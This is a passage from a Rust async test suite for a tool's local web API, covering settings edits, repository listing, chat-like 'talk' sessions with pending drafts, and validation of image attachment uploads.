8121 let res = f.get("/api/settings").await;
8122 assert_eq!(res.status, 200, "{}", res.body);
8123 let v = res.json();
8124 assert!(v["error"]["message"].is_string(), "{v}");
8125 assert!(
8126 v["error"]["path"]
8127 .as_str()
8128 .is_some_and(|p| p.ends_with("magi.toml")),
8129 "{v}"
8130 );
8131 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8132 }
8133
8134 #[tokio::test]
8135 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8136 let (_tmp, repo, machine) = settings_dirs(
8137 SETTINGS_AGENTS,
8138 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8139 );
8140 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8141 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8142 let rev = f.get("/api/settings").await.json()["revision"]
8143 .as_str()
8144 .expect("revision")
8145 .to_owned();
8146 let body = serde_json::json!({
8147 "revision": rev,
8148 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8149 })
8150 .to_string();
8151 let res = f.put("/api/settings/roles", &body).await;
8152 assert_eq!(res.status, 200, "{}", res.body);
8153 let text = std::fs::read_to_string(&machine).expect("machine");
8154 assert_eq!(
8155 text,
8156 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8157 );
8158 assert_eq!(
8159 std::fs::read(repo.join("magi.toml")).expect("read"),
8160 repo_before
8161 );
8162 let again = f.get("/api/settings").await.json();
8163 let judges = again["roles"]
8164 .as_array()
8165 .expect("roles")
8166 .iter()
8167 .find(|r| r["key"] == "judges")
8168 .expect("judges")
8169 .clone();
8170 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8171 let stale = f.put("/api/settings/roles", &body).await;
8173 assert_eq!(stale.status, 409, "{}", stale.body);
8174 }
8175
8176 #[tokio::test]
8177 async fn settings_put_refuses_without_touching_the_file() {
8178 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8179 let (_tmp, repo, machine) = settings_dirs(
8180 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8181 Some(machine_text),
8182 );
8183 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8184 let rev = f.get("/api/settings").await.json()["revision"]
8185 .as_str()
8186 .expect("revision")
8187 .to_owned();
8188 for roles in [
8189 serde_json::json!({ "judges": ["nope"] }),
8190 serde_json::json!({ "reviewers": ["b"] }),
8191 serde_json::json!({ "bogus": ["a"] }),
8192 ] {
8193 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8194 let res = f.put("/api/settings/roles", &body).await;
8195 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8196 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8197 assert_eq!(
8198 std::fs::read_to_string(&machine).expect("machine"),
8199 machine_text
8200 );
8201 }
8202 }
8203
8204 #[tokio::test]
8205 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8206 let tmp = TempDir::new().expect("tempdir");
8207 let repo = tmp.path().join("repo");
8208 std::fs::create_dir_all(&repo).expect("repo dir");
8209 let root = tmp.path().join("root");
8210 make_checkout(&root, "github.com", "yukimemi", "magi");
8211 std::fs::write(
8212 repo.join("magi.toml"),
8213 format!(
8214 "[repos]\nroots = [{:?}]\n",
8215 root.to_string_lossy().into_owned()
8216 ),
8217 )
8218 .expect("write magi.toml");
8219
8220 let f = Fixture::with_repo(repo).await;
8221 let res = f.get("/api/repos").await;
8222 assert_eq!(res.status, 200, "{}", res.body);
8223 let list = res.json();
8224 let repos = list.as_array().expect("an array");
8225 assert_eq!(repos.len(), 1);
8226 assert_eq!(repos[0]["name"], "yukimemi/magi");
8227 assert!(
8228 repos[0]["path"]
8229 .as_str()
8230 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8231 "{list}"
8232 );
8233 }
8234
8235 #[tokio::test]
8236 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8237 let tmp = TempDir::new().expect("tempdir");
8238 let repo = tmp.path().join("repo");
8239 std::fs::create_dir_all(&repo).expect("repo dir");
8240 let root = tmp.path().join("root");
8241 make_checkout(&root, "github.com", "yukimemi", "magi");
8242 std::fs::write(
8243 repo.join("magi.toml"),
8244 format!(
8245 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8246 root.to_string_lossy().into_owned()
8247 ),
8248 )
8249 .expect("write magi.toml");
8250
8251 let f = Fixture::with_repo(repo).await;
8252 let first = f.get("/api/repos").await;
8253 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8254
8255 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8258 let second = f.get("/api/repos").await;
8259 assert_eq!(
8260 second.json().as_array().map(Vec::len),
8261 Some(1),
8262 "a fresh cache must not rescan inside the TTL"
8263 );
8264
8265 let refreshed = f.get("/api/repos?refresh=1").await;
8266 assert_eq!(
8267 refreshed.json().as_array().map(Vec::len),
8268 Some(2),
8269 "an explicit refresh must rescan even inside the TTL"
8270 );
8271 }
8272
8273 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8279
8280 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8284 let tmp = TempDir::new().expect("tempdir");
8285 let repo = tmp.path().join("repo");
8286 std::fs::create_dir_all(&repo).expect("repo dir");
8287 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8288 let f = Fixture::with_repo(repo.clone()).await;
8289 (tmp, repo, f)
8290 }
8291
8292 #[tokio::test]
8293 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8294 let (_tmp, _repo, f) = talk_fixture().await;
8295
8296 let opened = f.post("/api/talks", None).await;
8299 assert_eq!(opened.status, 201, "{}", opened.body);
8300 let body = opened.json();
8301 assert_eq!(body["status"], "open");
8302 assert_eq!(
8303 body["turns"].as_array().unwrap().len(),
8304 0,
8305 "opening takes no agent turn: there is nothing yet to answer"
8306 );
8307
8308 let also_opened = f.post("/api/talks", Some("{}")).await;
8310 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8311
8312 let listed = f.get("/api/talks").await.json();
8313 assert_eq!(listed.as_array().unwrap().len(), 2);
8314 }
8315
8316 #[tokio::test]
8317 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8318 let tmp = TempDir::new().expect("tempdir");
8319 let repo = tmp.path().join("repo");
8320 std::fs::create_dir_all(&repo).expect("repo dir");
8321 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8322 std::fs::write(
8323 repo.join("magi.toml"),
8324 format!("{MOCK_AGENT_TOML}\n{second}"),
8325 )
8326 .expect("write magi.toml");
8327 let home = TempDir::new().expect("temp home");
8328 let talks = Talks::at(home.path().join("talks"));
8329 let ui = Arc::new(
8330 Ui::new(
8331 Queue::at(home.path().join("queue")),
8332 Questions::at(home.path().join("questions")),
8333 talks.clone(),
8334 home.path().join("runs"),
8335 home.path().to_path_buf(),
8336 repo.clone(),
8337 )
8338 .with_worktrees_root(home.path().join("wt")),
8339 );
8340 let cfg = config_for(&repo).await.expect("discover config");
8341 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8342 let id = talk.id.clone();
8343 let call = |agent: &str| {
8344 talk_agent(
8345 State(Arc::clone(&ui)),
8346 Path(id.clone()),
8347 Json(TalkAgent {
8348 agent: agent.to_owned(),
8349 }),
8350 )
8351 };
8352
8353 let unknown = call("nobody").await.expect_err("unknown agent");
8354 assert_eq!(
8355 unknown.status,
8356 StatusCode::BAD_REQUEST,
8357 "{}",
8358 unknown.message
8359 );
8360
8361 {
8362 let mut claimed = None;
8365 for _ in 0..200 {
8366 claimed = ui.begin_talk_turn(&id).expect("claim");
8367 if claimed.is_some() {
8368 break;
8369 }
8370 tokio::time::sleep(Duration::from_millis(10)).await;
8371 }
8372 let _busy = claimed.expect("free");
8373 let busy = call("second").await.expect_err("busy talk");
8374 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8375 }
8376 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8377
8378 let Json(view) = call("second").await.expect("switch");
8379 assert_eq!(view.talk.agent, "second");
8380 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8381 let saved = talks.get(&id).expect("reload");
8382 assert_eq!(saved.agent, "second");
8383 assert_eq!(saved.turns.len(), 1);
8384
8385 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8386 .await
8387 .expect("detail");
8388 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8389 assert_eq!(roster, ["mock", "second"]);
8390
8391 let mut closed = talks.get(&id).expect("reload");
8392 talk::close(&mut closed, &talks).expect("close");
8393 let refused = call("mock").await.expect_err("closed talk");
8394 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8395 }
8396
8397 #[tokio::test]
8398 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8399 let f = Fixture::start().await;
8400 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8401 let queue = f.queue();
8402 let mut mine = Task::new(
8403 "rename the loader".to_owned(),
8404 "rename the loader".to_owned(),
8405 PathBuf::from("/repo/magi"),
8406 Source::Agent {
8407 run: talk_id.clone(),
8408 node: "chat".to_owned(),
8409 },
8410 );
8411 queue.put(&mut mine).expect("file the task");
8412 let mut theirs = Task::new(
8413 "unrelated".to_owned(),
8414 "unrelated".to_owned(),
8415 PathBuf::from("/repo/magi"),
8416 Source::Human,
8417 );
8418 queue.put(&mut theirs).expect("file the task");
8419
8420 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8421 assert_eq!(res.status, 200, "{}", res.body);
8422 let body = res.json();
8423 assert_eq!(
8424 body["status"], "open",
8425 "filing a task does not close a talk"
8426 );
8427 let tasks = body["tasks"].as_array().expect("tasks array");
8428 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8429 assert_eq!(tasks[0]["id"], mine.id);
8430 }
8431
8432 #[tokio::test]
8433 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8434 let (_tmp, _repo, f) = talk_fixture().await;
8435 let id = f.post("/api/talks", None).await.json()["id"]
8436 .as_str()
8437 .expect("id")
8438 .to_owned();
8439
8440 let res = f
8441 .post(
8442 &format!("/api/talks/{id}/say"),
8443 Some(r#"{"text":"what does the queue module do?"}"#),
8444 )
8445 .await;
8446 assert_eq!(res.status, 202, "{}", res.body);
8447 let queued = res.json();
8448 let turns = queued["turns"].as_array().expect("turns array");
8449 assert_eq!(
8450 turns.len(),
8451 1,
8452 "the answer reflects only what is on disk the instant it is sent, \
8453 before the agent's turn - which can run for the whole of \
8454 `[graph] timeout_talk` - has a chance to land: {queued}"
8455 );
8456 assert_eq!(turns[0]["who"], "operator");
8457 assert_eq!(turns[0]["body"], "what does the queue module do?");
8458 assert_eq!(
8459 queued["thinking"], true,
8460 "the accepted response exposes the background turn claim: {queued}"
8461 );
8462
8463 let mut turns_after = 1;
8464 for _ in 0..SETTLE_STEPS {
8465 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8466 turns_after = detail["turns"].as_array().expect("turns array").len();
8467 if turns_after == 2 {
8468 break;
8469 }
8470 tokio::time::sleep(Duration::from_millis(10)).await;
8471 }
8472 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8473 }
8474
8475 #[tokio::test]
8502 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8503 let tmp = TempDir::new().expect("tempdir");
8504 let repo = tmp.path().join("repo");
8505 std::fs::create_dir_all(&repo).expect("repo dir");
8506 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8507 let home = TempDir::new().expect("temp home");
8508 let talks = Talks::at(home.path().join("talks"));
8509 let ui = Arc::new(
8510 Ui::new(
8511 Queue::at(home.path().join("queue")),
8512 Questions::at(home.path().join("questions")),
8513 talks.clone(),
8514 home.path().join("runs"),
8515 home.path().to_path_buf(),
8516 repo.clone(),
8517 )
8518 .with_worktrees_root(home.path().join("wt")),
8519 );
8520 let cfg = config_for(&repo).await.expect("discover config");
8521
8522 for delay in 0..40u32 {
8523 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8524 let id = talk.id.clone();
8525
8526 let handler = tokio::spawn(talk_say(
8527 State(Arc::clone(&ui)),
8528 Path(id.clone()),
8529 Ok(Json(NewTalkTurn {
8530 text: "what does the queue module do?".to_owned(),
8531 attachments: Vec::new(),
8532 })),
8533 ));
8534 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8535 handler.abort();
8536 let _ = handler.await;
8539
8540 let mut turns = 0;
8541 for _ in 0..SETTLE_STEPS {
8542 if let Ok(fresh) = talks.get(&id) {
8543 turns = fresh.turns.len();
8544 if turns != 1 {
8545 break;
8546 }
8547 }
8548 tokio::time::sleep(Duration::from_millis(10)).await;
8549 }
8550 assert_ne!(
8551 turns, 1,
8552 "delay {delay}: talk {id} recorded the operator's turn but \
8553 the agent never answered - the reply task was never \
8554 started after the handler future was dropped"
8555 );
8556 }
8557 }
8558
8559 #[tokio::test]
8604 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8605 let tmp = TempDir::new().expect("tempdir");
8606 let repo = tmp.path().join("repo");
8607 std::fs::create_dir_all(&repo).expect("repo dir");
8608 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8609 let home = TempDir::new().expect("temp home");
8610 let talks = Talks::at(home.path().join("talks"));
8611 let ui = Arc::new(
8612 Ui::new(
8613 Queue::at(home.path().join("queue")),
8614 Questions::at(home.path().join("questions")),
8615 talks.clone(),
8616 home.path().join("runs"),
8617 home.path().to_path_buf(),
8618 repo.clone(),
8619 )
8620 .with_worktrees_root(home.path().join("wt")),
8621 );
8622 let cfg = config_for(&repo).await.expect("discover config");
8623
8624 for attempt in 0..3u32 {
8625 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8626 let id = talk.id.clone();
8627 let turn_guard = ui
8630 .begin_talk_turn(&id)
8631 .expect("claim the turn")
8632 .expect("a fresh talk owes nobody a turn");
8633
8634 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8635 let (release_tx, release_rx) = std::sync::mpsc::channel();
8636 ui.set_busy_queue_gate(BusyQueueGate {
8637 reached: reached_tx,
8638 release: release_rx,
8639 });
8640
8641 let handler = tokio::spawn(talk_say(
8642 State(Arc::clone(&ui)),
8643 Path(id.clone()),
8644 Ok(Json(NewTalkTurn {
8645 text: "what does the queue module do?".to_owned(),
8646 attachments: Vec::new(),
8647 })),
8648 ));
8649
8650 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8655 .await
8656 .unwrap_or_else(|_| {
8657 panic!(
8658 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8659 )
8660 })
8661 .expect("the busy branch dropped the gate without using it");
8662
8663 let running = talks.get(&id).expect("reload talk");
8670 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8671
8672 handler.abort();
8676 let _ = handler.await;
8677
8678 let _ = release_tx.send(());
8684
8685 let mut fresh = talks.get(&id).expect("reload talk");
8688 for _ in 0..SETTLE_STEPS {
8689 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8690 break;
8691 }
8692 tokio::time::sleep(Duration::from_millis(10)).await;
8693 fresh = talks.get(&id).expect("reload talk");
8694 }
8695 assert!(
8696 fresh.pending.is_empty() && fresh.turns.len() == 2,
8697 "attempt {attempt}: talk {id} left the operator's text queued \
8698 with no drainer - the reclaimed turn was dropped along with \
8699 the handler future (pending {:?}, {} turns)",
8700 fresh.pending,
8701 fresh.turns.len()
8702 );
8703 }
8704 }
8705
8706 #[tokio::test]
8707 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8708 let (_tmp, _repo, f) = talk_fixture().await;
8709 let id = f.post("/api/talks", None).await.json()["id"]
8710 .as_str()
8711 .expect("id")
8712 .to_owned();
8713 let store = f.talks();
8714 let mut recovered = store.get(&id).expect("opened talk");
8715 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8716 .expect("persist pending draft without a live turn");
8717
8718 let edited = f
8719 .post(
8720 &format!("/api/talks/{id}/pending/edit"),
8721 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8722 )
8723 .await;
8724 assert_eq!(edited.status, 200, "{}", edited.body);
8725 assert!(edited.json()["thinking"].as_bool().unwrap());
8726
8727 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8728 for _ in 0..SETTLE_STEPS {
8729 if detail["turns"].as_array().expect("turns").len() == 2 {
8730 break;
8731 }
8732 tokio::time::sleep(Duration::from_millis(10)).await;
8733 detail = f.get(&format!("/api/talks/{id}")).await.json();
8734 }
8735 let turns = detail["turns"].as_array().expect("turns");
8736 assert_eq!(
8737 turns.len(),
8738 2,
8739 "the recovered draft must run once: {detail}"
8740 );
8741 assert_eq!(turns[0]["body"], "corrected");
8742 assert_eq!(detail["pending"], "");
8743 }
8744
8745 #[tokio::test]
8746 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8747 let tmp = TempDir::new().expect("tempdir");
8748 let repo = tmp.path().join("repo");
8749 std::fs::create_dir_all(&repo).expect("repo dir");
8750 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8751 let f = Fixture::with_repo(repo).await;
8752 let id = f.post("/api/talks", None).await.json()["id"]
8753 .as_str()
8754 .expect("id")
8755 .to_owned();
8756 let store = f.talks();
8757 let mut recovered = store.get(&id).expect("opened talk");
8758 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8759 .expect("persist pending draft without a live turn");
8760
8761 let refused = f
8762 .post(
8763 &format!("/api/talks/{id}/say"),
8764 Some(r#"{"text":"new message"}"#),
8765 )
8766 .await;
8767 assert_eq!(refused.status, 409, "{}", refused.body);
8768 assert!(refused.body.contains("resume"), "{}", refused.body);
8769 let saved = store.get(&id).expect("draft remains after refusal");
8770 assert!(saved.turns.is_empty());
8771 assert_eq!(saved.pending, "saved before restart");
8772
8773 let say_path = format!("/api/talks/{id}/say");
8774 let (first, second) = tokio::join!(
8775 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8776 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8777 );
8778 assert_eq!(first.status, 409, "{}", first.body);
8779 assert_eq!(second.status, 409, "{}", second.body);
8780 let saved = store
8781 .get(&id)
8782 .expect("draft remains after concurrent refusals");
8783 assert!(saved.turns.is_empty());
8784 assert_eq!(saved.pending, "saved before restart");
8785
8786 let resumed = f
8787 .post(&format!("/api/talks/{id}/pending/resume"), None)
8788 .await;
8789 assert_eq!(resumed.status, 202, "{}", resumed.body);
8790 let duplicate = f
8791 .post(&format!("/api/talks/{id}/pending/resume"), None)
8792 .await;
8793 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8794
8795 for _ in 0..SETTLE_STEPS {
8796 if store.get(&id).expect("talk").turns.len() == 2 {
8797 break;
8798 }
8799 tokio::time::sleep(Duration::from_millis(10)).await;
8800 }
8801 let finished = store.get(&id).expect("finished talk");
8802 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8803 assert_eq!(finished.turns[0].body, "saved before restart");
8804 assert!(finished.pending.is_empty());
8805 }
8806
8807 #[tokio::test]
8808 async fn an_image_only_recovered_draft_resumes_without_text() {
8809 let (_tmp, _repo, f) = talk_fixture().await;
8810 let id = f.post("/api/talks", None).await.json()["id"]
8811 .as_str()
8812 .expect("id")
8813 .to_owned();
8814 let uploaded = f
8815 .post_bytes(
8816 &format!("/api/talks/{id}/attachments"),
8817 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8818 PNG_BYTES,
8819 )
8820 .await;
8821 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8822 let attachment = f
8823 .talks()
8824 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8825 .expect("attachment metadata")
8826 .expect("stored attachment");
8827 let store = f.talks();
8828 let mut recovered = store.get(&id).expect("opened talk");
8829 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8830
8831 let resumed = f
8832 .post(&format!("/api/talks/{id}/pending/resume"), None)
8833 .await;
8834 assert_eq!(resumed.status, 202, "{}", resumed.body);
8835 for _ in 0..SETTLE_STEPS {
8836 if store.get(&id).expect("talk").turns.len() == 2 {
8837 break;
8838 }
8839 tokio::time::sleep(Duration::from_millis(10)).await;
8840 }
8841 let finished = store.get(&id).expect("finished talk");
8842 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8843 assert!(finished.turns[0].body.is_empty());
8844 assert_eq!(finished.turns[0].attachments.len(), 1);
8845 assert!(finished.pending_attachments.is_empty());
8846 }
8847
8848 #[tokio::test]
8849 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8850 let (_tmp, _repo, f) = talk_fixture().await;
8851 let id = f.post("/api/talks", None).await.json()["id"]
8852 .as_str()
8853 .expect("id")
8854 .to_owned();
8855 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8856 assert_eq!(closed.status, 200, "{}", closed.body);
8857 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8858 .expect("serialize closed talk");
8859 for (path, body) in [
8860 (format!("/api/talks/{id}/pending/resume"), None),
8861 (
8862 format!("/api/talks/{id}/pending/clear"),
8863 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8864 ),
8865 (
8866 format!("/api/talks/{id}/pending/edit"),
8867 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8868 ),
8869 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8870 ] {
8871 let response = f.post(&path, body).await;
8872 assert_eq!(response.status, 409, "{}", response.body);
8873 }
8874 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8875 .expect("serialize closed talk");
8876 assert_eq!(
8877 after_clear, before_clear,
8878 "clear must not rewrite a closed talk"
8879 );
8880 }
8881
8882 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8885
8886 #[tokio::test]
8887 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8888 let tmp = TempDir::new().expect("tempdir");
8889 let repo = tmp.path().join("repo");
8890 std::fs::create_dir_all(&repo).expect("repo dir");
8891 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8892 let f = Fixture::with_repo(repo).await;
8893 let id_a = f.post("/api/talks", None).await.json()["id"]
8894 .as_str()
8895 .unwrap()
8896 .to_owned();
8897 let id_b = f.post("/api/talks", None).await.json()["id"]
8898 .as_str()
8899 .unwrap()
8900 .to_owned();
8901
8902 let a = f
8903 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8904 .await;
8905 assert_eq!(a.status, 202, "{}", a.body);
8906 assert_eq!(a.json()["thinking"], true);
8907 let b = f
8908 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8909 .await;
8910 assert_eq!(b.status, 202, "{}", b.body);
8911 assert_eq!(b.json()["thinking"], true);
8912
8913 let listed = f.get("/api/talks").await.json();
8914 for id in [&id_a, &id_b] {
8915 let view = listed
8916 .as_array()
8917 .unwrap()
8918 .iter()
8919 .find(|talk| talk["id"] == *id)
8920 .unwrap();
8921 assert_eq!(view["thinking"], true, "{listed}");
8922 }
8923 let repeated = f
8924 .post(
8925 &format!("/api/talks/{id_a}/say"),
8926 Some(r#"{"text":"again"}"#),
8927 )
8928 .await;
8929 assert_eq!(repeated.status, 202, "{}", repeated.body);
8930 assert_eq!(repeated.json()["pending"], "again");
8931 }
8932
8933 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8936
8937 #[tokio::test]
8938 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8939 let f = Fixture::start().await;
8940 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8941
8942 let res = f
8943 .post_bytes(
8944 &format!("/api/talks/{id}/attachments"),
8945 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8946 PNG_BYTES,
8947 )
8948 .await;
8949 assert_eq!(res.status, 201, "{}", res.body);
8950 let body = res.json();
8951 assert_eq!(body["name"], "shot.png");
8952 assert_eq!(body["mime"], "image/png");
8953 assert_eq!(body["bytes"], PNG_BYTES.len());
8954 let att_id = body["id"].as_str().expect("id").to_owned();
8955 assert_eq!(
8956 att_id.len(),
8957 32,
8958 "the id must never be a client-suppliable path: {att_id}"
8959 );
8960
8961 let got = f
8962 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8963 .await;
8964 assert_eq!(got.status, 200, "{}", got.body);
8965 assert_eq!(got.header("content-type"), Some("image/png"));
8966 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8967 assert_eq!(got.bytes, PNG_BYTES);
8968 }
8969
8970 #[tokio::test]
8971 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8972 let f = Fixture::start().await;
8973 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8974
8975 let svg = f
8978 .post_bytes(
8979 &format!("/api/talks/{id}/attachments"),
8980 &[("Content-Type", "image/svg+xml")],
8981 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8982 )
8983 .await;
8984 assert!(
8985 (400..500).contains(&svg.status),
8986 "svg must be refused: {} {}",
8987 svg.status,
8988 svg.body
8989 );
8990 assert!(svg.body.contains("SVG"), "{}", svg.body);
8991
8992 let text = f
8993 .post_bytes(
8994 &format!("/api/talks/{id}/attachments"),
8995 &[("Content-Type", "text/plain")],
8996 b"just some text",
8997 )
8998 .await;
8999 assert!(
9000 (400..500).contains(&text.status),
9001 "an unlisted type must be refused: {} {}",
9002 text.status,
9003 text.body
9004 );
9005
9006 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9009 let big = f
9010 .post_bytes(
9011 &format!("/api/talks/{id}/attachments"),
9012 &[("Content-Type", "image/png")],
9013 &oversized,
9014 )
9015 .await;
9016 assert_eq!(
9017 big.status,
9018 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9019 "{}",
9020 big.body
9021 );
9022 }
9023
9024 #[tokio::test]
9025 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9026 let f = Fixture::start().await;
9027 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9028
9029 let res = f
9032 .post_bytes(
9033 &format!("/api/talks/{id}/attachments"),
9034 &[("Content-Type", "image/png")],
9035 b"<html>not a picture</html>",
9036 )
9037 .await;
9038 assert!((400..500).contains(&res.status), "{}", res.body);
9039 }
9040
9041 #[tokio::test]
9042 async fn an_unknown_attachment_id_is_a_404() {
9043 let f = Fixture::start().await;
9044 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9045
9046 let res = f
9047 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9048 .await;
9049 assert_eq!(res.status, 404, "{}", res.body);
9050 }
9051
9052 #[tokio::test]
9053 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9054 let f = Fixture::start().await;
9055 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9056
9057 let uploaded = f
9058 .post_bytes(
9059 &format!("/api/talks/{id}/attachments"),
9060 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9061 PNG_BYTES,
9062 )
9063 .await;
9064 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9065 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9066
9067 let res = f
9068 .post(
9069 &format!("/api/talks/{id}/say"),
9070 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9071 )
9072 .await;
9073 assert_eq!(res.status, 202, "{}", res.body);
9074 let queued = res.json();
9075 let turns = queued["turns"].as_array().expect("turns array");
9076 assert_eq!(
9077 turns.len(),
9078 1,
9079 "an empty body with an attachment is still a turn: {queued}"
9080 );
9081 assert_eq!(turns[0]["who"], "operator");
9082 assert_eq!(turns[0]["body"], "");
9083 let atts = turns[0]["attachments"]
9084 .as_array()
9085 .expect("attachments array");
9086 assert_eq!(atts.len(), 1);
9087 assert_eq!(atts[0]["id"], att_id);
9088 assert_eq!(atts[0]["mime"], "image/png");
9089
9090 let on_disk = f.talks().get(&id).expect("get");
9093 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9094 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9095 }
9096
9097 #[tokio::test]
9098 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9099 let f = Fixture::start().await;
9100 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9101
9102 let res = f
9103 .post(
9104 &format!("/api/talks/{id}/say"),
9105 Some(&format!(
9106 r#"{{"text":"hi","attachments":["{}"]}}"#,
9107 "a".repeat(32)
9108 )),
9109 )
9110 .await;
9111 assert!((400..500).contains(&res.status), "{}", res.body);
9112 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9113
9114 let on_disk = f.talks().get(&id).expect("get");
9115 assert!(
9116 on_disk.turns.is_empty(),
9117 "a rejected attachment id must not partially record the turn: {:?}",
9118 on_disk.turns
9119 );
9120 }
9121
9122 #[tokio::test]
